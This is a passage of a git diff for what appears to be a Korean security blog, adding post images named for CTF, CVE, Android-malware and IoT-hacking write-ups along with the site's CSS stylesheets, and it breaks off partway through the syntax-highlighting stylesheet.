b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png new file mode 100644 index 0000000..058f1ec Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png new file mode 100644 index 0000000..c17eecb Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png new file mode 100644 index 0000000..1516218 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg new file mode 100644 index 0000000..32f72f4 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png new file mode 100644 index 0000000..0f3140d Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg new file mode 100644 index 0000000..ba25afc Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp new file mode 100644 index 0000000..4ef12c7 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp new file mode 100644 index 0000000..2862745 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png new file mode 100644 index 0000000..1d6a55e Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png new file mode 100644 index 0000000..f3cbad2 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png differ diff --git a/docs/assets/2023-07-03-cve-2023-36053/image.png b/docs/assets/2023-07-03-cve-2023-36053/image.png new file mode 100644 index 0000000..be76f80 Binary files /dev/null and b/docs/assets/2023-07-03-cve-2023-36053/image.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png new file mode 100755 index 0000000..d8649a9 Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png new file mode 100755 index 0000000..bbd20fb Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png new file mode 100755 index 0000000..dd1346e Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png new file mode 100755 index 0000000..0910077 Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" new file mode 100644 index 0000000..f21b112 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" new file mode 100644 index 0000000..c92840c Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" new file mode 100644 index 0000000..19973fc Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" new file mode 100644 index 0000000..a6b7fc5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" new file mode 100644 index 0000000..935057a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" new file mode 100644 index 0000000..e3ebf25 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" new file mode 100644 index 0000000..410424a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" new file mode 100644 index 0000000..c108eba Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" new file mode 100644 index 0000000..f0f5dc6 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" new file mode 100644 index 0000000..6049c3e Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" new file mode 100644 index 0000000..5834cbd Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" new file mode 100644 index 0000000..3a913c5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" new file mode 100644 index 0000000..9d52b32 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" new file mode 100644 index 0000000..fad5f29 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" new file mode 100644 index 0000000..d8cf558 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" new file mode 100644 index 0000000..171c859 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" new file mode 100644 index 0000000..026c267 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" new file mode 100644 index 0000000..f69200f Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" new file mode 100644 index 0000000..5286ade Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" new file mode 100644 index 0000000..0d4121a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg b/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg new file mode 100644 index 0000000..7289dc5 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png new file mode 100644 index 0000000..4ac9857 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg b/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg new file mode 100644 index 0000000..aaae202 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png new file mode 100644 index 0000000..20c06ec Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png new file mode 100644 index 0000000..744a054 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png new file mode 100644 index 0000000..4c4205a Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png b/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png new file mode 100644 index 0000000..0ad301c Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg b/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg new file mode 100644 index 0000000..5a5e214 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg b/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg new file mode 100644 index 0000000..b603290 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg b/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg new file mode 100644 index 0000000..418cb16 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg b/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg new file mode 100644 index 0000000..0590907 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg b/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg new file mode 100644 index 0000000..7dd32a6 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png new file mode 100644 index 0000000..4c33601 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png new file mode 100644 index 0000000..afa54f8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/inittab.png b/docs/assets/2024-02-06-IoT-TechBlog/inittab.png new file mode 100644 index 0000000..1c04236 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/inittab.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg b/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg new file mode 100644 index 0000000..4efff15 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png b/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png new file mode 100644 index 0000000..b20827c Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png b/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png new file mode 100644 index 0000000..9c0a4cd Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg b/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg new file mode 100644 index 0000000..bb09de8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png new file mode 100644 index 0000000..83519cb Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png new file mode 100644 index 0000000..3af298e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg b/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg new file mode 100644 index 0000000..4904d66 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png b/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png new file mode 100644 index 0000000..ee265f2 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/minicom_s.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/putty.png b/docs/assets/2024-02-06-IoT-TechBlog/putty.png new file mode 100644 index 0000000..7c2a214 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/putty.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png b/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png new file mode 100644 index 0000000..f25c087 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/putty_s.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg b/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg new file mode 100644 index 0000000..28e7d12 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/recompression.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg b/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg new file mode 100644 index 0000000..8c6bee8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/resoldering.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg b/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg new file mode 100644 index 0000000..780301e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/sbin.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg b/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg new file mode 100644 index 0000000..1a95126 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg new file mode 100644 index 0000000..278b547 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg new file mode 100644 index 0000000..315478e Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg b/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg new file mode 100644 index 0000000..c7132a7 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/telnetd.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/uart.png b/docs/assets/2024-02-06-IoT-TechBlog/uart.png new file mode 100644 index 0000000..e48a4af Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/uart.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png b/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png new file mode 100644 index 0000000..f54eb86 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png differ diff --git a/docs/assets/bg.png b/docs/assets/bg.png new file mode 100644 index 0000000..141e855 Binary files /dev/null and b/docs/assets/bg.png differ diff --git a/docs/assets/css/style.css b/docs/assets/css/style.css new file mode 100644 index 0000000..4257f4b --- /dev/null +++ b/docs/assets/css/style.css @@ -0,0 +1,396 @@ +@import url('https://fonts.googleapis.com/css2?family=Ubuntu&display=swap'); +@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+KR&display=swap'); + +body { + overflow-y: scroll; + overflow-x: hidden; + margin: 0; + line-height: 28px; + font-size: 16px; +} + +/* 2021-08-02 scyoon : Nanum Gothic -> NOto Sans KR */ +* { + /*font-family: 'Nanum Gothic', sans-serif;*/ + font-family: 'Ubuntu', 'Noto Sans KR', sans-serif; +} + +#header { +} + +.header_image_logo { + width: 120px; + margin: 30px; +} + + +.header_image_bg { + background-image: url("/assets/bg.png"); + background-size: cover; + background-position: center center; + width: 100vw; + padding: 100px 0px; + color: #fff; +} + +.posts > div > div { + display: inline-block; +} + +.posts > .row { + margin-top: 40px; + padding-top: 40px; + border-top: 1px solid #f2f2f2; +} + +.posts > .row:first-child { + border-top: 0px solid; +} + +.posts > .row:last-child { + margin-bottom: 40px; +} + +.posts .profile { + text-align: center; + margin-top: 7px; +} + +.profile_image { + width: 40px; + height: 40px; + border-radius: 50px; +} + +.profile_author { + color: #aaa; + font-size: 13px; + margin-top: 5px; +} + +.post-title { + font-size: 25px; + font-weight: bold; + color: #000; + + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; +} + +.post-summary { + color: #777; + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; + word-break: break-all; +} + +.post-info { + margin-top: 5px; + color: #aaa; + font-size: 12px; +} + +.post-info > span { + color: #ff7777; +} + +footer { + padding: 30px 10px; + background-color: #000; + padding-bottom: 100px; +} + +.footer-logo { + width: 100px; + float: left; +} + +.footer-copyright { + color: #fff; + font-size: 13px; +} + +.footer-icons { + margin-top: -10px; + margin-right: 10px; +} + +.footer-icons img { + width: 40px; + height: 40px; +} + +.page { + padding: 50px 10px; +} + +.header_image_post { + padding: 0px; +} + +.header_image_post_body { + padding-top: 100px; + padding-bottom: 50px; + background-color: rgba(0, 0, 0, 0.4); +} + +.page-profile_image { + width: 20px; + height: 20px; + border-radius: 20px; + margin-right: 3px; +} + +.page-category { + font-size: 14px; + margin-bottom: 5px; +} + +.page-title { + font-size: 25px; + font-weight: 800; + margin-bottom: 5px; + text-overflow: ellipsis; + overflow: hidden; + width: 100%; + max-width: 1200px; + white-space: nowrap; +} + +.page-summary { + font-size: 14px; +} + +.page-profile-detail { + margin-top: 50px; + width: 300px; + border-top: 1px solid #ddd; + padding-top: 20px; +} + +.page-profile-detail-info > div { + display: inline-block; +} + +.page-profile_image-detail { + width: 45px; + height: 45px; + border-radius: 30px; + margin-right: 3px; +} + +.page-profile-author { + font-weight: bold; + font-size: 16px; +} + +.page-profile-email { + font-size: 14px; +} + +.recent-post-area { + padding: 50px; + background: #f7f7f7; + margin-top: 50px; + padding-bottom: 100px; +} + +.h1-recent-post { + font-size: 20px; + font-weight: 800; +} + +.page-content { + font-size: 15px; + max-width: 780px; + width: 80%; + text-align: justify; + padding-top: 50px; + word-break: break-all; +} + +.page-content table { + width: 100%; + margin-bottom: 25px; +} + +.page-content table td, .page-content table th { + text-align: center; +} + +.page-content table td { + font-size: 13px; + color: #777; +} + +.categories-text { + margin-top: 50px; + font-size: 16px; + font-weight: 600; + margin-bottom: 10px; +} + +.categories { + font-size: 14px; + text-decoration: underline; + margin-top: 10px; +} + +.categories a { + color: #414141; +} + +.category-h-text { + font-size: 30px; + font-weight: bold; + color: #555; + margin-top: 50px; +} + +.post-author-mobile { + display: none; +} + +.post-thumbnail-mobile { + display: none; +} + +@media (max-width: 768px) { + .header_image_logo { + margin: 20px 10px; + } + .post-title { + font-size: 15px; + margin-top: 10px; + } + .post-summary { + font-size: 12px; + } + .posts { + + } + .posts > .row { + margin-top: 25px; + padding-top: 10px; + } + .page { + padding: 10px 10px; + } + .category-h-text { + margin-top: 20px; + } + .header_image_bg > div > div:first-child { + font-size: 30px !important; + } + .header_image_bg > div > div:last-child { + font-size: 20px !important; + } + .header_image_bg { + padding: 20px 10px; + } + .page-content img { + max-width: 100%; + } + .header_image_post { + padding: 0px; + } + .profile { + display: none; + } + .profile_image_mobile { + width: 15px; + height: 15px; + border-radius: 50%; + } + .post-author-mobile { + display: inline; + } + .post-thumbnail-mobile { + display: block; + } +} + +h1 { + font-size: 26px; + font-weight: 800; + line-height: 48px; +} + +h2 { + font-size: 18px; + font-weight: 800; + line-height: 48px; + margin-bottom: 0; +} + +h3 { + font-size: 14px; + font-weight: 800; + line-height: 48px; + margin-bottom: 0; +} + +/* 글쓴이 프로필 빼고 적용 */ +img:not(.profile_image, .page-profile_image, .page-profile_image-detail, .sns), div.highlight{ + display: block; + margin-top: 28px; + margin-bottom: 28px; + max-width: 100%; + margin: 0 auto; +} + +/* 상단바 */ +div.container:not(.page-content) { + max-width: 960px; +} + +div.highlight { + margin-top: 16px; + margin-bottom: 16px; +} + + +div.posts.container { + max-width: 860px; + width: 88%; +} + +div.highlight { + border-radius: 1em; + align-content: center; +} + +pre.highlight { + max-width: 730px; + margin: 0 auto; + border-radius: 1em; + padding-top: 1em; + padding-bottom: 1em; + padding-left: 1em; + padding-right: 1em; +} + + +table { + width: 100%; + border: 1px solid #000000; + border-collapse: collapse; + } + + th, td { + border: 1px solid #000000; + } + +pre::-webkit-scrollbar{ + height: 6px; +} +pre::-webkit-scrollbar-thumb{ + background-color: #676c6b; + border-radius: 10px; +} \ No newline at end of file diff --git a/docs/assets/css/syntax.css b/docs/assets/css/syntax.css new file mode 100644 index 0000000..ad04fb6 --- /dev/null +++ b/docs/assets/css/syntax.css @@ -0,0 +1,198 @@ +.highlight table td { padding: 5px; } +.highlight table pre { margin: 0; } +.highlight .gh { + color: #999999; +} +.highlight .sr { + color: #f6aa11; +} +.highlight .go { + color: #888888; +} +.highlight .gp { + color: #555555; +} +.highlight .gs { +} +.highlight .gu { + color: #aaaaaa; +} +.highlight .nb { + color: #f6aa11; +} +.highlight .cm { + color: #75715e; +} +.highlight .cp { + color: #75715e; +} +.highlight .c1 { + color: #75715e; +} +.highlight .cs { + color: #75715e; +} +.highlight .c, .highlight .ch, .highlight .cd, .highlight .cpf { + color: #75715e; +} +.highlight .err { + color: #960050; +} +.highlight .gr { + color: #960050; +} +.highlight .gt { + color: #960050; +} +.highlight .gd { + color: #49483e; +} +.highlight .gi { + color: #49483e; +} +.highlight .ge { + color: #49483e; +} +.highlight .kc { + color: #66d9ef; +} +.highlight .kd { + color: #66d9ef; +} +.highlight 